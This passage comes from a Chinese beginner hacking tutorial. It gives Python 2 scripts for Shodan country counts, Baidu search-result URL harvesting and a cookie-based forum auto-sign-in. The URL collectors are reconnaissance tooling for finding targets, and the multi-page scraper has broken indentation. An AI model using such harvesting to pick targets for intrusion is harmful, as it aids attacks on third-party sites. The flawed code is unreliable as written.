if __name__ == '__main__':
        getip()

接下来,就是基于shodan模块的…直接引用浅安dalao的。。。我懒得写….
安装:pip install shodan

#-*- coding: UTF-8 -*-
import shodan
import sys
API_KEY = ‘YOU_API_KEY’ #调用shodan api
FACETS = [
        ('country',100), # 匹配出前一百位的国家数量,100可自定义
]
FACET_TITLES = {
    'country': 'Top 100 Countries',
}
#输入判断
if len(sys.argv) == 1:
    print 'Search Method:Input the %s and then the keyword' % sys.argv[0]
    sys.exit()
try:
    api = shodan.Shodan(API_KEY)
    query = ' '.join(sys.argv[1:])
    print "You Search is:" + query
    result = api.count(query, facets=FACETS) # 使用count比search快
    for facet in result['facets']:
        print FACET_TITLES[facet]
        for key in result['facets'][facet]:
                 countrie = '%s :  %s' % (key['value'], key['count'])
                 print countrie
                 with open(u"搜索" + " " + query + " " + u"关键字" +'.txt','a+') as f:
                            f.write(countrie +"\n")
                            f.close()
        print " "
        print "save is coutures.txt"        
        print "Search is Complete."
except Exception, e:
    print 'Error: %s' % e

0×04 简易BaiduURL采集脚本编写
先是爬去单页的URL,举个栗子是爬去阿甫哥哥这个关键字的URL

#-*- coding: UTF-8 -*-
import requests
from bs4 import BeautifulSoup as bs
import re
def getfromBaidu(word):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'}
    url = 'https://www.baidu.com.cn/s?wd=' + word + '&pn=1'
    html = requests.get(url=url,headers=headers,timeout=5)
    soup = bs(html.content, 'lxml', from_encoding='utf-8')
    bqs = soup.find_all(name='a', attrs={'data-click':re.compile(r'.'), 'class':None})
    for i in bqs:
            r = requests.get(i['href'], headers=headers, timeout=5)
            print r.url
if __name__ == '__main__':
    getfromBaidu('阿甫哥哥')

然后是多页的爬取,比如爬取前20页的

#-*- coding: UTF-8 -*-
import requests
from bs4 import BeautifulSoup as bs
import re
def getfromBaidu(word,pageout):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'}
    for k in range(0,(pageout-1)*10,10):
            url = 'https://www.baidu.com.cn/s?wd=' + word + '&pn=' + str(k)
        html = requests.get(url=url,headers=headers,timeout=5)
        soup = bs(html.content, 'lxml', from_encoding='utf-8')
        bqs = soup.find_all(name='a', attrs={'data-click':re.compile(r'.'), 'class':None})
            for i in bqs:
                    r = requests.get(i['href'], headers=headers, timeout=5)
                    print r.url
if __name__ == '__main__':
    getfromBaidu('阿甫哥哥',10)

图片.png

0×05 【彩蛋篇】论坛自动签到脚本

之前其实贴出来了,只是怕有些人没看到….在分享一次….

签到可以获取大量魔法币….他的多种获取方法,请戳:

https://bbs.ichunqiu.com/thread-36007-1-1.html

实现方法只需要将COOKIE修改为你的即可

实现功能是每天24点自动签到…挂在服务器上即可….

#-*- coding: UTF-8 -*-
import requests
import datetime
import time
import re
def sign():
    url = 'https://bbs.ichunqiu.com/plugin.php?id=dsu_paulsign:sign'
    cookie = {'__jsluid':'3e29e6c**********8966d9e0a481220',' UM_distinctid':'1605f635c78159************016-5d4e211f-1fa400-1605f635c7ac0',' pgv_pvi':'4680553472',******...........}
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'}
    r = requests.get(url=url,cookies=cookie,headers=headers)
    rows = re.findall(r'<input type=\"hidden\" name=\"formhash\" value=\"(.*?)\" />', r.content)
    if len(rows)!=0:
        formhash = rows[0]
        print '[-]Formhash is: ' + formhash
    else:
        print '[-]None formhash!'
    if '您今天已经签到过了或者签到时间还未开始' in r.text:
        print '[-]Already signed!!'
    else:
        sign_url = 'https://bbs.ichunqiu.com/plugin.php?id=dsu_paulsign:sign&operation=qiandao&infloat=1&inajax=1'
        sign_payload = {
        'formhash':formhash,
        'qdxq':'fd',
        'qdmode':'2',
        'todaysay':'',
        'fastreply':0,
        }
        sign_req = requests.post(url=sign_url,data=sign_payload,headers=headers,cookies=cookie)
        if '签到成功' in sign_req.text:
            print '[-]Sign success!!'
        else:
            print '[-]Something error...'
    time.sleep(60)
def main(h=0, m=0):
    while True:
        while True:
            now = datetime.datetime.now()
            if now.hour==h and now.minute==m:
                break
            time.sleep(20)
        sign()
if __name__ == '__main__':
    main()

>>>>>>  黑客入门必备技能  带你入坑和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩~